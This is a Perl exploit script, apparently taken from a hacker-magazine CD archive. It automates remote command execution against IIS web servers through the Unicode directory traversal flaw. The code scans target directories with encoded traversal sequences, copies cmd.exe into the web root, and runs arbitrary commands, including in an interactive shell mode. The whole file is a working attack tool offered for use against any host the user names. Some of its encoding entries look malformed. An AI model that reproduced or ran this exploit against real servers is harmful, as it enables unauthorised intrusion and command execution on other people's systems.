home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / unicoder / unicoder.pl < prev   
Encoding:
Perl Script  |  2004-03-03  |  10.4 KB  |  452 lines

  1. #!/usr/bin/perl
  2. ###############
  3.  
  4. ##
  5. # tool:        unicoder.pl
  6. # version:    1.98
  7. # author:     H D Moore <hdmoore@digitaldefense.net>
  8. # purpose:    Allows remote command execution via IIS unicode directory transversal
  9. # usage:    Run with no arguments for usage options
  10. # output:    Output from remote command
  11. # changes:    Added -S option to use cmd.exe copies in web root (aka /scripts/root.exe)
  12. # bugs:        No sanity checking of results during directory/unicode scan
  13. ##
  14.  
  15. use Getopt::Std;
  16. use Socket;
  17.  
  18. # determine whether or not to enable SSL support
  19. BEGIN {
  20.  
  21.     if (eval "require Net::SSLeay") {
  22.         Net::SSLeay->import();
  23.         Net::SSLeay::load_error_strings();
  24.         Net::SSLeay::SSLeay_add_ssl_algorithms();
  25.         Net::SSLeay::randomize(time());
  26.         $HAVE_SSL = 1;
  27.     } else {
  28.         $HAVE_SSL = 0;
  29.     }
  30. }
  31.  
  32.  
  33. sub usage {
  34.     print STDERR qq{
  35.  
  36. *- --[ unicoder v$VERSION - H.D. Moore <hdmoore\@digitaldefense.net>
  37.  
  38. Usage: $0 -h <host> 
  39.  
  40.     -h <host>       = host you want to attack
  41.     -d <directory>  = directory to use 
  42.     -u <unicode>    = unicode sequence to use
  43.     -c <command>    = command to execute
  44.     -f <cmd file>    = file containing commands
  45.     -p <port>       = web server port
  46.     -S <root.exe>   = path to cmd.exe in web root
  47.     -L <path>       = path to copy cmd.exe to (\winnt\temp\uni.exe)
  48.  
  49. Proxy Options:
  50.     
  51.     -w <http proxy> = use http proxy
  52.     -P <proxy port> = sets proxy port
  53.  
  54. Other Options:
  55.     
  56.     -x              = ssl mode
  57.     -i              = interactive mode
  58.     -D              = dump (http 1.0) mode
  59.     -v              = verbose
  60.     
  61. };
  62.     exit(1);
  63. }
  64.  
  65. sub send_request {
  66.  
  67.     my ($request) = @_;
  68.     my $results = "";
  69.     my $got;
  70.     my $ssl;
  71.     my $ctx;
  72.     my $res;
  73.  
  74.     if ($args{v})
  75.     {
  76.         print STDERR "[request]\n$request\n\n";    
  77.     }
  78.  
  79.     select(STDOUT); $| = 1;
  80.     socket(S,PF_INET,SOCK_STREAM, getprotobyname('tcp') || 0) || die("Socket problems\n");
  81.     select(S); $|=1;
  82.     select(STDOUT);
  83.  
  84.     if(connect(S,pack "SnA4x8",2,$options{"HostPort"},$options{"ip"}))
  85.     {
  86.         if ($args{x})
  87.         {
  88.             $ctx = Net::SSLeay::CTX_new() or die_now("Failed to create SSL_CTX $!");
  89.             $ssl = Net::SSLeay::new($ctx) or die_now("Failed to create SSL $!");
  90.             Net::SSLeay::set_fd($ssl, fileno(S));   # Must use fileno
  91.             $res = Net::SSLeay::connect($ssl);
  92.             $res = Net::SSLeay::write($ssl, $request);  # Perl knows how long $msg is
  93.             shutdown S, 1;    
  94.  
  95.             while ($got = Net::SSLeay::read($ssl))
  96.             {
  97.                 $results .= $got;
  98.             }         
  99.  
  100.             Net::SSLeay::free ($ssl);               # Tear down connection
  101.             Net::SSLeay::CTX_free ($ctx);
  102.             close(S); 
  103.         } else {
  104.             print S $request;
  105.             sleep(1);
  106.             shutdown S, 1; 
  107.             while ($got = <S>)
  108.             {
  109.                 $results .= $got;
  110.             } 
  111.             close(S);
  112.         }
  113.      } else { die("Error: connection failed.\n"); }
  114.     return $results;
  115.  
  116. }
  117.  
  118. ###################################################
  119. #
  120. # MAIN STARTS HERE
  121. #
  122.  
  123. my %unicode = (
  124.                 '%255c'     => '.',
  125.                 '%252e'     => '.',
  126.                 '%%35c'     => '.',
  127.                 '%%35%63'   => '.',
  128.                 '%25%35%63' => '.',
  129.                 '%c0%af'    => '..',
  130.                 '%c1%1c'    => '..',
  131.                 '%c0%9v'    => '..',
  132.                 '%c0%qf'    => '..',
  133.                 '%c1%8s'    => '..',
  134.                 '%c1%9c'    => '..',                
  135.                 '%c1%pc'    => '..',
  136.                 '%c1%1c'    => '..',
  137.                 '%c0%2f'    => '..',
  138.               );
  139.  
  140. @csets = keys(%unicode);
  141. @cdirs = qw (/scripts/ /msadc/ /iisadmpwd/ /_vti_bin/ /exchange/ /cgi-bin/ /pbserver/ /);
  142. @cmds = ();
  143.  
  144. %options =  (
  145.         "TargetPort" => 80,
  146.         "HostPort" => 80,
  147.         "RequestPrefix" => "",        # for akamai and http proxying
  148.         "runcmd" => 0,
  149.         "shell" => "cmd.exe",
  150.         "Mode" => "1.1",
  151.         "CopyPath" => '\uni.exe'
  152.             );
  153.  
  154. $VERSION = "1.97";
  155.  
  156. my ($cdir, $cset, $url, $data, $req, $res, $ua);
  157. my $vdir = 0;
  158. my $vset = 0;
  159. my $binip;
  160.  
  161.  
  162.  
  163. getopts("h:d:u:c:p:w:f:P:W:S:L:xDvi", \%args);
  164.  
  165. ############################
  166. ### start option parsing ###
  167. ############################
  168.  
  169. if (!$args{h}){usage();}
  170.  
  171. $binip = gethostbyname($args{h});
  172.  
  173. if (length($binip) == 0)
  174. {
  175.     print STDERR "The host you specified is invalid.\n";
  176.     exit(257);
  177. } else {
  178.     $options{"ip"} = $binip;
  179.     $options{"Target"} = $args{h};
  180. }
  181.  
  182. if($args{x} && $HAVE_SSL == 0){ print "Please install the Net::SSLeay module for SSL support.\n"; exit; }
  183. if ($args{x}){ $options{"TargetPort"} = 443;}
  184.  
  185. if ($args{x} && $args{a} || $args{w} && $args{x})
  186. {
  187.     print STDERR "Sorry, that proxy mode does not work with SSL.\n";
  188.     exit(256);
  189. }
  190.  
  191. if ($args{w} && $args{a})
  192. {
  193.     print STDERR "Sorry, those proxy modes can not be combined.\n";
  194.     exit(256);
  195. }
  196.  
  197. if ($args{p})
  198. {
  199.     $options{"TargetPort"} = $args{p};
  200. }
  201.  
  202. if ($args{P})
  203. {
  204.     $options{"HostPort"} = $args{P};
  205. } else {
  206.     $options{"HostPort"} = $options{"TargetPort"};
  207. }
  208.  
  209. if ($args{w})
  210. {
  211.     $options{"RequestPrefix"} = "http://" . $options{"Target"} . ":" . $options{"TargetPort"};
  212.     $options{"Host"} = $args{w};
  213.     $binip = gethostbyname($options{"Host"});
  214.     if (length($binip) <= 0)
  215.     {
  216.         print STDERR "Sorry, could not resolve the http proxy host.\n";
  217.         exit(256);
  218.     }
  219.     $options{"ip"} = $binip;
  220. }
  221.  
  222. if ($args{d})
  223. {
  224.     $options{"dir"} = $args{d};
  225.     @cdirs = ();
  226.     push @cdirs,$args{d};
  227. }
  228. if ($args{u})
  229. {
  230.     $options{"unicode"} = $args{u};
  231.     @csets = ();
  232.     push @csets,$args{u};
  233. }
  234. if ($args{c})
  235. {
  236.     push @cmds, $args{c};
  237.     $options{"runcmd"}++;
  238. } else {
  239.  
  240.     if ($args{f})
  241.     {
  242.     
  243.         open (CF, "<" . $args{f}) || die "could not open command file:  $!";
  244.         while ($cmd = <CF>)
  245.         {
  246.             chomp($cmd);
  247.             push @cmds, $cmd;
  248.             $options{"runcmd"}++;
  249.         }
  250.         close (CF);
  251.     }
  252. }
  253.  
  254. if ($args{W})
  255. {
  256.     $options{"shell"} = $args{W};
  257. }
  258.  
  259. if ($args{D})
  260. {
  261.     $options{"Mode"} = "1.0";
  262. }
  263.  
  264. if ($args{C})
  265. {
  266.     $options{"CopyPath"} = $args{C};
  267. }
  268.  
  269. if ($args{v})
  270. {
  271.     print STDERR "[Options Table]\n";
  272.     foreach $key (keys(%options))
  273.     {
  274.         print STDERR "$key = " . $options{"$key"} . "\n";
  275.     }
  276.     print STDERR "---------------\n\n";
  277.  
  278. }
  279.  
  280.  
  281.  
  282. if ($args{S})
  283. {
  284.     @cdirs = ();
  285. }
  286.  
  287. # start the scanning loop
  288. foreach $cdir (@cdirs)
  289. {
  290.     foreach $cset (@csets)
  291.     {
  292.  
  293.         if (($options{"runcmd"} > 0 || $args{i}) && $vdir && $vset ) { last; }
  294.  
  295.         $results = $got = $header = $junk = "";
  296.         $results = "";
  297.         
  298.         my $dot = $unicode{$cset};
  299.         
  300.         $url =  $cdir . $dot . (("$dot/$dot".$cset."$dot/") x 4) . "/winnt/system32/".$options{"shell"}."?/c+dir";
  301.         
  302.         if ($options{"Mode"} eq "1.1")
  303.         {
  304.             $request =
  305.             "GET " . $options{"RequestPrefix"} . "$url HTTP/1.1\r\n" . 
  306.             "Host: " . $args{h} . "\r\n".
  307.             "Accept: */*\r\n".
  308.             "\r\n";
  309.         } else {
  310.              $request =
  311.             "GET " . $options{"RequestPrefix"} . "$url HTTP/1.0\r\n" . 
  312.             "Accept: */*\r\n".
  313.             "\r\n";       
  314.  
  315.         }
  316.  
  317.         select(STDOUT); $| = 1;
  318.         print "Checking directory $cdir with sequence $cset: ";
  319.         select(STDOUT);
  320.         $results = send_request($request);
  321.         ($header,$junk) = split(/\n/,$results);
  322.         if ($results =~ /<DIR>/)
  323.         {
  324.             print "FOUND\n";
  325.             $vdir = $cdir;
  326.             $vset = $cset;
  327.             print STDERR "[request]\n$request\n\n";
  328.             
  329.         } else {
  330.             print "ERROR: $header\n";
  331.         }
  332.     }
  333.     if ($options{"runcmd"} > 0) {  }
  334. }
  335.  
  336.  
  337. $skipcheck = 0;
  338.  
  339. if($args{S}) { $skipcheck++; }
  340.  
  341. # execute a command if one was given
  342. if (((scalar(@cmds) > 0 || $args{i}) && $vdir ne "" && $vset ne "") || $args{S})
  343. {
  344.     COMMANDLOOP:
  345.     
  346.     while($command = shift(@cmds))
  347.     {
  348.  
  349.         
  350.         # hex encode a few chars        
  351.         $command =~ s/ /+/g;
  352.         $command =~ s/=/\%3D/g;
  353.         $command =~ s/\|/\%7C/g;
  354.  
  355.         $command =~ s/\=/%3d/g;
  356.          $command =~ s/\&/%26/g;
  357.         $command =~ s/\"/%22/g;
  358.     
  359.         my $dot = $unicode{$cset};
  360.         my $traversal = $cdir . $dot . (("$dot/$dot".$cset."$dot/") x 4);
  361.  
  362.         $results = $got = $header = $junk = "";
  363.         $urlT = $traversal . "/winnt/system32/".$options{"shell"}."?/c+dir+".("..\\" x 6) .$options{"CopyPath"};
  364.         $urlS = $traversal . "/winnt/system32/".$options{"shell"}."?/c+copy+".("..\\" x 6)."\\winnt\\system32\\cmd.exe+".("..\\" x 6).$options{"CopyPath"};
  365.         $urlCA = $traversal . "/" . $options{"CopyPath"} . "?/c+$command";
  366.         $urlCB = $traversal . "/winnt/system32/".$options{"shell"}."?/c+$command";
  367.  
  368.         $requestT =
  369.         "GET " . $options{"RequestPrefix"} . "$urlT HTTP/1.1\r\n" . 
  370.         "Host: " . $args{h} . "\r\n".
  371.         "Accept: */*\r\n".
  372.         "\r\n";
  373.  
  374.          $requestS =
  375.         "GET " . $options{"RequestPrefix"} . "$urlS HTTP/1.1\r\n" . 
  376.         "Host: " . $args{h} . "\r\n".
  377.         "Accept: */*\r\n".
  378.         "\r\n";
  379.  
  380.         $requestCA =
  381.         "GET " . $options{"RequestPrefix"} . "$urlCA HTTP/1.1\r\n" . 
  382.         "Host: " . $args{h} . "\r\n".
  383.         "Accept: */*\r\n".
  384.         "\r\n";
  385.  
  386.         $requestCB =
  387.         "GET " . $options{"RequestPrefix"} . "$urlCB HTTP/1.1\r\n" . 
  388.         "Host: " . $args{h} . "\r\n".
  389.         "Accept: */*\r\n".
  390.         "\r\n";    
  391.  
  392.         if ($args{S})
  393.         {
  394.             $urlS = $args{S} . "?/c+$command";
  395.             $requestCA =
  396.             "GET " . $options{"RequestPrefix"} . "$urlS HTTP/1.1\r\n" . 
  397.             "Host: " . $args{h} . "\r\n".
  398.             "Accept: */*\r\n".
  399.             "\r\n";    
  400.         }
  401.  
  402.  
  403.         # see if our copy of cmd.exe is in the root dir yet
  404.         if ($skipcheck == 0)
  405.         {
  406.             $results = send_request($requestT);
  407.             if ($results =~ m/uni.exe/)
  408.             {
  409.                 print "using \\uni.exe as command interpreter.\n";
  410.                 $skipcheck++;
  411.             } else {
  412.                 $results = send_request($requestS);
  413.                 if ($results !~ "copied" || $results =~ "denied")
  414.                 {
  415.                     print STDERR "error: could not copy ".$options{"shell"}." to " . $options{"CopyPath"} . "\n";
  416.                     print STDERR "running command with the default intepreter.\n";
  417.                     $requestCA = $requestCB;
  418.                 } else {
  419.                     print "copied ".$options{"shell"}." to  " .$options{"CopyPath"} . "\n";
  420.                     print "using ". $options{"CopyPath"} ." as command interpreter.\n";
  421.                 }
  422.             }
  423.         }
  424.  
  425.         $results = send_request($requestCA);
  426.  
  427.         print "\n*--- --  -[ command results ]\n\n";
  428.         print $results;
  429.         print "\n\n";
  430.     }
  431.     
  432.     if($args{i})
  433.     {
  434.         if ($skipcheck == 0)
  435.         {
  436.             select(STDERR);$|=1;
  437.             print STDERR "\nEnter an empty command to quit\n\n";
  438.         }
  439.         
  440.         $skipcheck++;
  441.         print STDERR "unicoder > ";
  442.         $cmd = <STDIN>;
  443.         chomp($cmd);
  444.         if ($cmd ne "")
  445.         { 
  446.             push @cmds, $cmd;
  447.             $options{"runcmd"}++;
  448.             goto COMMANDLOOP;
  449.         }
  450.     }
  451. }
  452.